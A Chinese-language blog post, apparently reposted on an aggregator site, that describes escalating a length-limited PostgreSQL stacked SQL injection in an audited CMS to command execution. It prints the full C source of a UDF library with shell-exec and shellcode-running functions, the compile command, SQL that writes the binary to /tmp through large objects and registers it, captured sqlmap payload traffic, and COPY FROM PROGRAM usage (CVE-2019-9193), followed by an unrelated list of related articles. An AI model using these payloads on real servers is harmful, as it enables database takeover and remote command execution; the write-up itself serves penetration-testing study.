记一次Postgresql从堆叠注入到RCE

本次研究过程来自一次某cms的代码审计实战,整个环境部署的相对较好,postgresql、web权限都有单独的用户管理,web目录不可写、服务器不能出网等限制。不过比较幸运的是所有的数据操作都是用同一个superuser权限的postgresql用户来执行的。

限制

审计发现某处存在postgresql堆叠注入,发现postgresql版本为9.2,不过有80个字符的长度限制。尝试使用sqlmap直接打失败,也是长度限制的原因。

udfhack

找了一下参考资料发现JF写的还不错:

https://jianfensec.com/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/%E6%B8%97%E9%80%8F%E4%B8%AD%E5%88%A9%E7%94%A8postgresql%20getshell/

postgresql从8.3开始支持多种编程语言扩展:PostgreSQL: Documentation: 8.3: Procedural Languages

select * from pg_language;

可查看当前支持的语言,如果是python之类的可以很轻松的用udf提权,参考:Hacking PostgreSQL | WooYun知识库

比如postgresql支持plpython,则创建一个恶意函数:

#!sql
CREATE FUNCTION system (a text)RETURNS text
AS $$import osreturn os.popen(a).read()
$$ LANGUAGE plpython2u;

然后select system('ls -la');即可。

当然了一般来说postgresql默认只支持C,所以要自己传一个编译好的so库去创建可执行命令函数。

源码可以用:https://github.com/sqlmapproject/udfhack/blob/master/linux/lib_postgresqludf_sys/lib_postgresqludf_sys.c

默认是定义了一个sys_eval的函数去命令执行。为了减少长度,我这里改成s.

#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
#define _USE_32BIT_TIME_T
#define DLLEXP __declspec(dllexport) 
#define BUILDING_DLL 1
#else
#define DLLEXP
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#endif#include <postgres.h>
#include <fmgr.h>
#include <stdlib.h>
#include <string.h>#include <ctype.h>#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
DWORD WINAPI exec_payload(LPVOID lpParameter);
#endif#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endifchar *text_ptr_to_char_ptr(text *arg)
{char *retVal;int arg_size = VARSIZE(arg) - VARHDRSZ;retVal = (char *)malloc(arg_size + 1);memcpy(retVal, VARDATA(arg), arg_size);retVal[arg_size] = '\0';return retVal;
}text *chr_ptr_to_text_ptr(char *arg)
{text *retVal;retVal = (text *)malloc(VARHDRSZ + strlen(arg));
#ifdef SET_VARSIZESET_VARSIZE(retVal, VARHDRSZ + strlen(arg));
#elseVARATT_SIZEP(retVal) = strlen(arg) + VARHDRSZ;
#endifmemcpy(VARDATA(retVal), arg, strlen(arg));return retVal;
}PG_FUNCTION_INFO_V1(sys_exec);
#ifdef PGDLLIMPORT
extern PGDLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) {
#else
extern DLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) {
#endiftext *argv0 = PG_GETARG_TEXT_P(0);int32 result = 0;char *command;command = text_ptr_to_char_ptr(argv0);/*Only if you want to logelog(NOTICE, "Command execution: %s", command);*/result = system(command);free(command);PG_FREE_IF_COPY(argv0, 0);PG_RETURN_INT32(result);
}PG_FUNCTION_INFO_V1(s);
#ifdef PGDLLIMPORT
extern PGDLLIMPORT Datum s(PG_FUNCTION_ARGS) {
#else
extern DLLIMPORT Datum s(PG_FUNCTION_ARGS) {
#endiftext *argv0 = PG_GETARG_TEXT_P(0);text *result_text;char *command;char *result;FILE *pipe;char *line;int32 outlen, linelen;command = text_ptr_to_char_ptr(argv0);/*Only if you want to logelog(NOTICE, "Command evaluated: %s", command);*/line = (char *)malloc(1024);result = (char *)malloc(1);outlen = 0;result[0] = (char)0;pipe = popen(command, "r");while (fgets(line, sizeof(line), pipe) != NULL) {linelen = strlen(line);result = (char *)realloc(result, outlen + linelen);strncpy(result + outlen, line, linelen);outlen = outlen + linelen;}pclose(pipe);if (*result) {result[outlen-1] = 0x00;}result_text = chr_ptr_to_text_ptr(result);PG_RETURN_POINTER(result_text);
}PG_FUNCTION_INFO_V1(sys_bineval);
#ifdef PGDLLIMPORT
extern PGDLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) {
#else
extern DLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) {
#endiftext *argv0 = PG_GETARG_TEXT_P(0);int32 argv0_size;size_t len;#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)int pID;char *code;
#elseint *addr;size_t page_size;pid_t pID;
#endifargv0_size = VARSIZE(argv0) - VARHDRSZ;len = (size_t)argv0_size;#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)// allocate a +rwx memory pagecode = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);strncpy(code, VARDATA(argv0), len);WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
#elsepID = fork();if(pID<0)PG_RETURN_INT32(1);if(pID==0){page_size = (size_t)sysconf(_SC_PAGESIZE)-1;    // get page sizepage_size = (len+page_size) & ~(page_size);     // align to page boundary// mmap an rwx memory pageaddr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);if (addr == MAP_FAILED)PG_RETURN_INT32(1);strncpy((char *)addr, VARDATA(argv0), len);((void (*)(void))addr)();}if(pID>0)waitpid(pID, 0, WNOHANG);
#endifPG_RETURN_INT32(0);
}#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
DWORD WINAPI exec_payload(LPVOID lpParameter)
{__try{__asm{mov eax, [lpParameter]call eax}}__except(EXCEPTION_EXECUTE_HANDLER){}return 0;
}
#endif#undef fopenPG_FUNCTION_INFO_V1(sys_fileread);
#ifdef PGDLLIMPORT
extern PGDLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) {
#else
extern DLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) {
#endiftext *argv0 = PG_GETARG_TEXT_P(0);text *result_text;int32 len;int32 i, j;char *filename;char *result;char *buffer;char table[] = "0123456789ABCDEF";FILE *file;filename = text_ptr_to_char_ptr(argv0);file = fopen(filename, "rb");if (!file){PG_RETURN_NULL();}fseek(file, 0, SEEK_END);len = ftell(file);fseek(file, 0, SEEK_SET);buffer=(char *)malloc(len + 1);if (!buffer){fclose(file);PG_RETURN_NULL();}fread(buffer, len, 1, file);fclose(file);result = (char *)malloc(2*len + 1);for (i=0, j=0; i<len; i++){result[j++] = table[(buffer[i] >> 4) & 0x0f];result[j++] = table[ buffer[i]     & 0x0f];}result[j] = '\0';result_text = chr_ptr_to_text_ptr(result);free(result);free(buffer);free(filename);PG_RETURN_POINTER(result_text);
}

然后用本地搭建的环境编译一下:

gcc -Wall -I/usr/include/postgresql/9.2/server -Os -shared s.c -fPIC -o s

bypass

问题又回到了如何bypass80字符长度限制了,先来看看如果没长度限制是怎么弄的:

这里写入是用了大数据对象写入二进制文件,将udf.so文件分割成每2048字节的块(且必须是2048),最后一个块的大小不满足2048字节不需要考虑.

为什么不能小于2048?是因为在postgresql高版本处理中,如果块之间小于2048,默认会用0去填充让块达到2048字节所以上传的文件才会一直创建函数失败.

SELECT lo_create(9023);尝试创建OID为9023的大对象insert into pg_largeobject values (9023, 0, decode('xxx', 'hex'));//2048字节
insert into pg_largeobject values (9023, 1, decode('xxx', 'hex'));/2048字节
insert into pg_largeobject values (9023, 2, decode('xxx', 'hex'));/2048字节
insert into pg_largeobject values (9023, 5, decode('xxx', 'hex'));/可以不满2048字节,因为不满的会补0,elf文件末尾补0不影响正常运行SELECT lo_export(9023, '/tmp/testeval.so');//将对象导出文件
SELECT lo_unlink(9023);//删除对象

首先创建一个OID作为写入的对象,然后通过0,1,2,3…分片上传但是对象都为9023最后导出到/tmp目录下,收尾删除OID。

然后导入自定义的恶意函数执行命令:

CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/testeval.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;select sys_eval('id');drop function sys_eval;

一步一步来,首先是二进制文件写入时,除去最后一个块的长度可以稍微小点其他的都需要想办法压缩,这里我想到的是可以先存在表里面,然后在写入的时候在select取出来,这样的话长度是完全够的。

比如:

SELECT lo_create(9);//创建对象CREATE TABLE a(i serial PRIMARY KEY,c text);
CREATE TABLE b(i int primary key,c text[]);
//先建立两个临时表INSERT INTO a(i,c) VALUES ({cnt},'{data}');
//每次往临时表a里写入16个的长度二进制字符串INSERT INTO b VALUES (1,(SELECT array_to_string(array_agg(c order by i) from a),''));
//将字符串聚合起来写入临时表b中INSERT INTO pg_largeobject VALUES (9,{chunk_cnt},decode((SELECT c FROM b),'hex'))
//按次序hex解码写入对象。//每2048字节写入一次对象,然后重新开始。SELECT lo_export(9, '/tmp/s');//写入文件到/tmp目录SELECT lo_unlink(9);//删除对象

然后是创建函数这:

>>> len("CREATE OR REPLACE FUNCTION s(text) RETURNS text AS '/tmp/s', 's' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;")
137

翻了一下文档,其实很多多余的可以直接去掉,直接压缩成:

>>> len("CREATE FUNCTION s(text) RETURNS text AS '/tmp/s','s' LANGUAGE C")
63

然后创建language c这种扩展函数必须得superuser权限才能创建。

成功命令执行。

SELECT s('touch /tmp/yuligesec');

sqlmap的思路

上面有说到过通过研究发现sqlmap是不能直接跑的,但是他的思路却是没啥问题可以直接用,大致和我的想法类似。来看看他的流量:

CREATE TABLE sqlmapfile(data text);
SELECT lo_unlink(8394);
SELECT lo_create(8394);
DELETE FROM pg_largeobject WHERE loid=8394--
INSERT INTO sqlmapfile(data) VALUES ((CHR(102)||CHR(48)||CHR(86)||CHR(77)||CHR(82)||CHR(103)||CHR(73)||CHR(66)||CHR(65)||CHR(81)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(77)||CHR(65)||CHR(80)||CHR(103)||CHR(65)||CHR(66)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(48)||CHR(65)||CHR(48)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(66)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(69)||CHR(65)||CHR(65)||CHR(79)||CHR(65)||CHR(65)||CHR(71)||CHR(65)||CHR(69)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(69)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(70)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(74)||CHR(66)||CHR(85)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(107)||CHR(70)||CHR(81)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(73)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(81)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(89)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(111)||CHR(70)||CHR(81)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(67)||CHR(103)||CHR(86)||CHR(73)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(75)||CHR(66)||CHR(85)||CHR(103)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(68)||CHR(103)||CHR(65)||CHR(103)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(79)||CHR(103)||CHR(67)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(103)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(67)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(66)||CHR(103)||CHR(65)||CHR(65)||CHR(65)||CHR(69)||CHR(65)||CHR(86)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)));UPDATE sqlmapfile SET data=data||(CHR(81)||CHR(66)||CHR(85)||CHR(103)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(66)||CHR(65)||CHR(70)||CHR(83)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(78)||CHR(65)||CHR(66)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(48)||CHR(65)||CHR(69)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(73)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(81)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(69)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(103)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(85)||CHR(79)||CHR(86)||CHR(48)||CHR(90)||CHR(65)||CHR(81)||CHR(65)||CHR(65)||CHR(65)||CHR(67)||CHR(115)||CHR(69)||CHR(103)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(75)||CHR(119)||CHR(83)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(114)||CHR(66)||CHR(73)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(66)||CHR(115)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(71)||CHR(119)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(66)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(66)||CHR(82)||CHR(53)||CHR(88)||CHR(82)||CHR(107)||CHR(66)||CHR(103)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65));
...
INSERT INTO pg_largeobject VALUES (8394, 2, DECODE((SELECT data FROM sqlmapfile), (CHR(98)||CHR(97)||CHR(115)||CHR(101)||CHR(54)||CHR(52))));
...
SELECT lo_export(8394, (CHR(47)||CHR(116)||CHR(109)||CHR(112)||CHR(47)||CHR(108)||CHR(105)||CHR(98)||CHR(115)||CHR(109)||CHR(112)||CHR(121)||CHR(106)||CHR(46)||CHR(115)||CHR(111)));;

很明显看出来是使用了||来做一个字符串加的作用,然后也是用的base64编码传入再解码,然后写入的地址是/tmp/libsmpyj.so,lib+5随机字符.so的形式。

按照这个思路其实bypass没啥问题,只不过需要调整一下每次payload的字符长度,再加上又使用的base64,大大增加了写入文件的请求次数。

rwctf2021-DBaaSadge

比赛的时候刚好在做项目,没空看题,当时看到这个题就感觉和上述做的东西很像,后来看了一下dockerfile发现其实不一样,而且除了最后一步执行命令处,前期基本上毫无非预期,都是需要先爆破密码提升到superuser,然后再命令执行。

参考:https://f1sh.site/2021/01/11/real-world-ctf-2020-dbaasadge-writeup/

这个题是使用了mysql_fdw这个插件然后可以外连mysql,再从外部的mysql导入需要执行的语句从而bypass掉payload长度。

然后又翻到:https://medium.com/bugbountywriteup/dbaasadge-writeup-61ebcdbe4357

PostgreSQL: Documentation: 10: COPY

如果postgresql版本在9.3以上的话可以直接用copy program去执行命令,也就是CVE-2019-9193:

漏洞环境:

​​​​​​https://github.com/vulhub/vulhub/tree/master/postgres/CVE-2019-9193

postgres=# CREATE TABLE cmd_table (dm_output text);
CREATE TABLE
postgres=# COPY cmd_table FROM PROGRAM 'id';
COPY 1
postgres=# SELECT * FROM cmd_table;
dm_output
------------------------------------------------------------------------
uid=101(postgres) gid=103(postgres) groups=103(postgres),102(ssl-cert)
(1 row)

开头有说过web目录不可写且不出网(静态文件也不可写),命令执行也没回显,后来解决是代码审计发现某个地方的验证码是从数据库某特定字段里面取的,所以只需要将命令执行的结果写入到特定字段到地方,再构造poc访问验证码页面拿到命令执行的结果图片ocr一下即可exp化。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/113561.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

02HTML功能元素

1.功能元素 1.1.列表标签 ​ 列表标签的作用: 给一堆数据添加列表语义, 也就是告诉搜索引擎告诉浏览器这一堆数据是一个整体 - HTML中列表标签的分类 ​ 无序列表(最多)(unordered list) ​ 有序列表(最少)(ordered list) ​ 定义列表(其次)(definition list) 1.1.1.无序列…

notepad++ 批量替换删除指定字符之后 或者 之前的字符,Notepad+批量替换使用大全

notepad 批量替换删除指定字符之后 或者 之前的字符&#xff0c;Notepad批量替换使用大全 资源宝分享&#xff1a;www.httple.net 注意: 不支持多行表达式 (involving \n, \r, etc). 1 基本表达式 符号解释.匹配任意字符&#xff0c;除了新一行(\n)。也就是说 “.”可以匹配 \…

uniapp map地图实现marker聚合点,并点击marker触发事件

1.uniapp官方文档说明 2.关键代码片段 // 仅调用初始化&#xff0c;才会触发 on.("markerClusterCreate", (e) > {})this._mapContext.initMarkerCluster({enableDefaultStyle: false, // 是否使用默认样式zoomOnClick: true, // 点击聚合的点&#xff0c;是否…

经典算法试题(二)

文章目录 一、岁数1、题目2、思路讲解3、代码实现4、结果 二、打碎的鸡蛋1、题目2、思路讲解3、代码实现4、结果 三、分糖1、题目2、思路讲解3、代码实现4、结果 四、兔子产子1、题目2、思路讲解3、代码实现4、结果 五、矩阵问题1、题目2、思路讲解3、代码实现4、结果 六、谁是…

计网----数据包在传输中的变化过程,单播组播和广播,ARP协议,ARP代理,免费ARP,DNS协议,路由数据转发过程

计网----数据包在传输中的变化过程&#xff0c;单播组播和广播&#xff0c;ARP协议&#xff0c;ARP代理&#xff0c;免费ARP&#xff0c;DNS协议&#xff0c;路由数据转发过程 一.数据包在传输中的变化过程&#xff08;在同一个路由器下&#xff09; 1.传输数据时&#xff0c…

Spring IOC之@ComponentScan

博主介绍&#xff1a;✌全网粉丝4W&#xff0c;全栈开发工程师&#xff0c;从事多年软件开发&#xff0c;在大厂呆过。持有软件中级、六级等证书。可提供微服务项目搭建与毕业项目实战&#xff0c;博主也曾写过优秀论文&#xff0c;查重率极低&#xff0c;在这方面有丰富的经验…

Redis基本命令和常用数据类型

文章目录 前言一、Redis简介二、基本操作1.赋值2.取值3.切换数据库4.查看数据库所有键&#xff08;key&#xff09;5.查看键值类型6.移动键值到其他数据库7.设置键值生存时间&#xff08;两种&#xff09;8.查看键值生存时间9.查看当前数据库大小10.判断键是否存在11.清空当前数…

洛谷 P1216 [USACO1.5] [IOI1994]数字三角形题解

观察题目我们发现从前往后推会有条件判断&#xff0c;不容易写出来。所以就从后往前推。 也就是说后面的状态已经是推出来了&#xff0c;保证是最大值。 //数字三角形 #include<iostream> using namespace std; const int N 510; int f[N][N], n;int main() {ios::sync…

转行做程序员,多晚都不晚

大家好啊&#xff0c;我是董董灿。 最近有不少小伙伴加我微信咨询一些问题&#xff0c;有同学想了解AI行业的现状&#xff0c;想着转行的&#xff0c;也有在校生想了解毕业后工作方向的&#xff0c;当然也有想学习编程知识的。 诚惶诚恐&#xff0c;没想到之前写的文章&#…

Go开始:Go基本元素介绍

标识符与关键字 在任何编程语言中&#xff0c;标识符和关键字都是核心概念&#xff0c;Go也不例外。标识符用于命名各种类型的代码元素&#xff0c;如变量、常量、函数等。关键字是预留的词汇&#xff0c;用于指示编程语言的特定操作。在本部分中&#xff0c;我们将详细介绍Go语…

LuatOS-SOC接口文档(air780E)--iotauth - IoT鉴权库, 用于生成各种云平台的参数

iotauth.aliyun(product_key, device_name,device_secret,method,cur_timestamp) 阿里云物联网平台三元组生成 参数 传入值类型 解释 string product_key string device_name string device_secret string method 加密方式,”hmacmd5” “hmacsha1” “hmacsha256”…

如何使用BERT生成单词嵌入?

阿比贾特萨拉里 一、说明 BERT&#xff0c;或来自变形金刚&#xff08;Transformer&#xff09;的双向编码器表示&#xff0c;是由谷歌开发的强大语言模型。它已广泛用于自然语言处理任务&#xff0c;例如情感分析、文本分类和命名实体识别。BERT的主要特征之一是它能够生成单词…

运维中心—监控大盘

一、监控大盘内容分类 1、告警 2、业务趋势 3、异常码 4、主机 5、服务状态 6、系统账单 二、API分类 【基础数据】 1、分组查询各自子系统 2、子系统查询名下各个微服务 【主机】 根据分组查询主机信息&#xff0c;按照子系统分组&#xff0c;按照CPU和内存排序 步骤&#xf…

Servlet的生命周期

2023.10.18 WEB容器创建的Servlet对象&#xff0c;这些Servlet对象都会被放到一个集合当中&#xff08;HashMap&#xff09;&#xff0c;这个集合当中存储了Servlet对象和请求路径之间的关系 。只有放到这个HashMap集合中的Servlet才能够被WEB容器管理&#xff0c;自己new的Ser…

华为OD 最大差(100分)【java】A卷+B卷

华为OD统一考试A卷+B卷 新题库说明 你收到的链接上面会标注A卷还是B卷。目前大部分收到的都是B卷。 B卷对应20022部分考题以及新出的题目,A卷对应的是新出的题目。 我将持续更新最新题目 获取更多免费题目可前往夸克网盘下载,请点击以下链接进入: 我用夸克网盘分享了「华为O…

【经历】跨境电商公司目前已在职近2年->丰富且珍贵

我入职了跨境电商公司 *背景 上篇说我在2021-11月离职了&#xff0c;交接期间已经拿到了新公司的offer&#xff0c;然后因上家公司项目交接时间比较长(原因在上篇)&#xff0c;导致新公司这边延迟了两次入职的时间&#xff0c;最后结果是直接无缝衔接了新公司&#xff08;周五…

HTML5有哪些新特性?移除了哪些元素?

HTML5引入了许多新特性&#xff0c;以下是其中一些主要的新特性&#xff1a; 1&#xff1a;语义化元素&#xff1a;HTML5引入了一些新的语义化元素&#xff0c;如 <header>、<footer>、<nav>、<article>、<section>等&#xff0c;使得页面结构…

Python学习第3天-第一个Python程序

文章目录 前言一、创建项目二、创建程序总结 前言 下面给大家展示下经典的Hello World! 一、创建项目 二、创建程序 print("Hello World!")总结 回到顶部 学习网站 欢迎来到Python的世界&#xff01;

从头开始机器学习:逻辑回归

一、说明 本篇实现线性回归的先决知识是&#xff1a;基本线性代数&#xff0c;微积分&#xff08;偏导数&#xff09;、梯度和、Python &#xff08;NumPy&#xff09;&#xff1b;从线性方程入手&#xff0c;逐渐理解线性回归预测问题。 二、逻辑回归简介 我们将以我们在线性回…

C嘎嘎之类和对象上

> 作者简介&#xff1a;დ旧言~&#xff0c;目前大二&#xff0c;现在学习Java&#xff0c;c&#xff0c;c&#xff0c;Python等 > 座右铭&#xff1a;松树千年终是朽&#xff0c;槿花一日自为荣。 > 目标&#xff1a;掌握类的引用和定义&#xff0c;熟悉类成员函数的…